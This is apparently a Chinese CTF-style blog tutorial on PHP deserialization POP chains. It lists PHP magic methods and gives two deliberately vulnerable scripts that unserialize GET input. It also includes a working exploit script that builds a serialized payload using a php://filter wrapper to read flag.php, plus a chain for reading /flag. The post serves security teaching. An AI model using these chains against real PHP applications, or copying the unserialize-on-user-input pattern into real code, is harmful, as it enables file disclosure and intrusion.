title: POP链date: 2020/2/16 20:46:25
categories: 代码审计
tags: 代码审计

https://blog.szfszf.top/article/24/

  1. https://www.cnblogs.com/nul1/p/8646034.html
  2. https://www.cnblogs.com/pursue-security/p/15291087.html
  3. https://www.cnblogs.com/pursue-security/p/15291121.html
  4. __construct()，类的构造函数
  5. __destruct()，类的析构函数
  6. __call()，在对象中调用一个不可访问方法时调用
  7. __callStatic()，用静态方式中调用一个不可访问方法时调用
  8. __get()，获得一个类的成员变量时调用
  9. __set()，设置一个类的成员变量时调用
  10. __isset()，当对不可访问属性调用isset()或empty()时调用
  11. __unset()，当对不可访问属性调用unset()时被调用。
  12. __sleep()，执行serialize()时，先会调用这个函数
  13. __wakeup()，执行unserialize()时，先会调用这个函数
  14. __toString()，类被当成字符串时的回应方法
  15. __invoke()，调用函数的方式调用一个对象时的回应方法
  16. __set_state()，调用var_export()导出类时，此静态方法会被调用。
  17. __clone()，当对象复制完成时调用
  18. __autoload()，尝试加载未定义的类
  19. __debugInfo()，打印所需调试信息

POP链的含义：https://as1def.github.io/2020/10/09/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8CPOP%E9%93%BE%E6%9E%84%E9%80%A0/
简单的序列化攻击因为对魔术方法的触发而调用魔术方法中的一些危险函数执行命令，但如果关键代码不在魔术方法中，而是在一个类的普通方法中，则需要观察联系类与函数之间的关系，将其与魔术方法的利用结合起来，让他们扯上关系，构造出与原代码利用链一致但是部分属性又被我们所控制，这样就可以构造出POP链。

  1. <?php
  2. class Modifier {
  3.     protected  $var;
  4.     public function append($value){
  5.         include($value);
  6.     }
  7.     public function __invoke(){
  8.         $this->append($this->var);
  9.     }
  10. }
  11. class Show{
  12.     public $source;
  13.     public $str;
  14.     public function __construct($file='index.php'){
  15.         $this->source = $file;
  16.         echo 'Welcome to '.$this->source."<br>";
  17.     }
  18.     public function __toString(){
  19.         return $this->str->source;
  20.     }
  21.     public function __wakeup(){
  22.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  23.             echo "hacker";
  24.             $this->source = "index.php";
  25.         }
  26.     }
  27. }
  28. class Test{
  29.     public $p;
  30.     public function __construct(){
  31.         $this->p = array();
  32.     }
  33.     public function __get($key){
  34.         $function = $this->p;
  35.         return $function();
  36.     }
  37. }
  38. if(isset($_GET['pop'])){
  39.     @unserialize($_GET['pop']);
  40. }
  41. else{
  42.     $a=new Show;
  43.     highlight_file(__FILE__);
  44. }

思路分析：
先找链子的头和尾，头部依然是一个GET传参，而尾部在Modifier类中的append()方法中，因为里面有个include可以完成任意文件包含，那我们很容易就可以想到用伪协议来读文件，综合上面的提示，应该flag就是在flag.php中，我们把它读出来就好；找到尾部之后往前倒推，在Modifier类中的invoke()调用了append()，然后在Test类中的get()返回的是$function()，可以调用invoke()，再往前Show类中的toString()可以调用get()，然后在Show类中的wakeup()中有一个正则匹配，可以调用toString()，然后当我们传入字符串，反序列化之后最先进入的就是wakeup()，这样子头和尾就连上了。

POP链 - 图1

  1. <?php
  2. class Modifier {
  3. protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
  4. }
  5. class Show{
  6. public $source;
  7. public $str;
  8. }
  9. class Test{
  10. public $p;
  11. }
  12. $a = new Show();
  13. $b = new Show();
  14. $c = new Test();
  15. $d = new Modifier();
  16. $a -> source = $b;//执行Show::__wakeup() 3.
  17. $b -> str = $c;//执行Show::__toString() 2.
  18. $c -> p = $d;//执行Test::__get()  1.
  19. echo urlencode(serialize($a));
  20. ?>

通过将相关的class类链接和一些特殊函数扯上关系就行。

  1. <?php
  2. error_reporting(1);
  4. class Start
  5. {
  6.     public $name='guest';
  7.     public $flag='syst3m("cat 127.0.0.1/etc/hint");';
  9.     public function __construct(){
  10.         echo "I think you need /etc/hint . Before this you need to see the source code";
  11.     }
  12.     public function _sayhello(){
  13.         echo $this->name;
  14.         return 'ok';
  15.     }
  16.     public function __wakeup(){
  17.         echo "hi";
  18.         $this->_sayhello();
  19.     }
  20.     public function __get($cc){
  21.         echo "give you flag : ".$this->flag;
  22.         return ;
  23.     }
  24. }
  25. class Info
  26. {
  27.     private $phonenumber=123123;
  28.     public $promise='I do';
  30.     public function __construct(){
  31.         $this->promise='I will not !!!!';
  32.         return $this->promise;
  33.     }
  34.     public function __toString(){
  35.         return $this->file['filename']->ffiillee['ffiilleennaammee'];
  36.     }
  37. }
  38. class Room
  39. {
  40.     public $filename='/flag';
  41.     public $sth_to_set;
  42.     public $a='';
  44.     public function __get($name){
  45.         $function = $this->a;
  46.         return $function();
  47.     }
  49.     public function Get_hint($file){
  50.         $hint=base64_encode(file_get_contents($file));
  51.         echo $hint;
  52.         return ;
  53.     }
  54.     public function __invoke(){
  55.         $content = $this->Get_hint($this->filename);
  56.         echo $content;
  57.     }
  58. }
  59. if(isset($_GET['hello'])){
  60.     unserialize($_GET['hello']);
  61. }else{
  62.     $hi = new  Start();
  63. }
  64. ?>

利用链：

Start—-Info—-Room

wakeup->toString->get->invoke